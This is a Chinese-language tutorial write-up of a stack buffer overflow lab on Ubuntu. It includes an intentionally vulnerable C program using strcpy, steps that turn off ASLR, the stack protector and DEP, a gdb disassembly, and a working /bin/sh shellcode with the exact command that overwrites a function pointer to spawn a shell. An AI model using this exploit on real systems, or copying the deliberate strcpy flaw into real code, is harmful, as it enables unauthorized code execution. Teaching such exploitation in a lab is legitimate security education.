栈溢出
漏洞原理:
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致栈中与其相邻的变量的值被改变。若输入足够多的、精心挑选的字符,将改写函数的返回地址(也可以是jmp、call指令的跳转地址),由此获取对CPU的控制,从而执行任何任意操作。
实验环境:Ubuntu16.0、gdb
漏洞程序:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argv, char ** argc)
{
void (* fn)(char*)=(void(*)(char*))& system;
char buf[256];
fn=(void(*)(char*))& puts;
strcpy(buf,argc[1]);
fn(argc[2]);
exit(1);
}
因为有exit()函数,即使覆盖了返回地址,程序之后也会调用exit()函数正常终止。所以要在exit()之前找一个可以利用的返回地址。因此这次的溢出地址不是返回地址,而是在程序中的一个函数地址。
程序编译:
1.关闭ALSR
echo 0 > /proc/sys/kernel/randomize_va_space
关闭ALSR:在栈缓冲区溢出实验中,一个重要步骤为定位某些目标的内存映射地址,如插入shellcode时需要定位插入地址。ALSR即内存布局随机化机制,是由操作系统实现的,主要被划分为映像随机化、栈随机化和堆随机化这几类,分别对程序的加载基地址、栈基址和堆基址进行随机化。
2.关闭SSP
-fno-stack-protector
SSP是gcc提供的针对栈缓冲区溢出提供的检查机制。它会在函数对于栈帧中入栈一个随机值,在函数调用结束准备返回时,编译器会检查该随机值是否发生了变化,若发生了变化则说明发生了缓冲区溢出,控制流会转移到对应的处理函数处。
3.关闭DEP
-z execstack
为了防止用户通过栈上的缓冲区构造数据,使用了DEP机制,限制内存的属性,使得某些可写内存不可执行或可执行内存不可写,从而达到防护的结果。
程序调试:
在windows下使用习惯了intel汇编,在Linux下看的难受,在gdb下使用 set disassembly-flavor intel 转换为intel格式的汇编
1.反汇编代码
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x080484ab <+0>: lea ecx,[esp+0x4]
0x080484af <+4>: and esp,0xfffffff0
0x080484b2 <+7>: push DWORD PTR [ecx-0x4]
0x080484b5 <+10>: push ebp
0x080484b6 <+11>: mov ebp,esp
0x080484b8 <+13>: push ebx
0x080484b9 <+14>: push ecx
0x080484ba <+15>: sub esp,0x110
0x080484c0 <+21>: mov ebx,ecx
0x080484c2 <+23>: mov DWORD PTR [ebp-0xc],0x8048370
0x080484c9 <+30>: mov DWORD PTR [ebp-0xc],0x8048360
0x080484d0 <+37>: mov eax,DWORD PTR [ebx+0x4]
0x080484d3 <+40>: add eax,0x4
0x080484d6 <+43>: mov eax,DWORD PTR [eax]
0x080484d8 <+45>: sub esp,0x8
0x080484db <+48>: push eax
0x080484dc <+49>: lea eax,[ebp-0x10c]
0x080484e2 <+55>: push eax
0x080484e3 <+56>: call 0x8048350 <aaa@qq.com>
0x080484e8 <+61>: add esp,0x10
0x080484eb <+64>: mov eax,DWORD PTR [ebx+0x4]
0x080484ee <+67>: add eax,0x8
0x080484f1 <+70>: mov eax,DWORD PTR [eax]
0x080484f3 <+72>: sub esp,0xc
0x080484f6 <+75>: push eax
0x080484f7 <+76>: mov eax,DWORD PTR [ebp-0xc]
0x080484fa <+79>: call eax
0x080484fc <+81>: add esp,0x10
0x080484ff <+84>: sub esp,0xc
0x08048502 <+87>: push 0x1
0x08048504 <+89>: call 0x8048380 <aaa@qq.com>
End of assembler dump.
2.栈空间
3.shellcode
寻找buf[0]地址,因为shellcode要从buf[0]位置开始。并把反汇编代码中Call eax的eax值覆盖为buf[0]的位置。从而执行shellcode。
Shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80’
Address = ‘\x7c\xce\xff\xff’
r $(python -c "print ('\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x90'*(256-25) + '\x7c\xce\xff\xff')")
上一篇: cgpwn2(xctf)
下一篇: Netcat的使用方法及端口扫描
推荐阅读
-
联众ConnectAndEnterRoom ActiveX控件栈溢出漏洞
-
FreeBSD user-ppp协议实现本地栈溢出漏洞
-
BusinessObjects RptViewerAX ActiveX栈溢出漏洞
-
Move Media Player ActiveX控件栈溢出漏洞
-
栈溢出攻击及防护方法简介
-
C语言内存篇 | 14-栈溢出攻击的原理
-
Protostar栈溢出学习
-
java.lang.*Error JVM栈溢出
-
归并排序栈溢出异常Exception in thread "main" java.lang.*Error
-
Exception in thread “main“ java.lang.*Error ——Spark栈溢出解决方案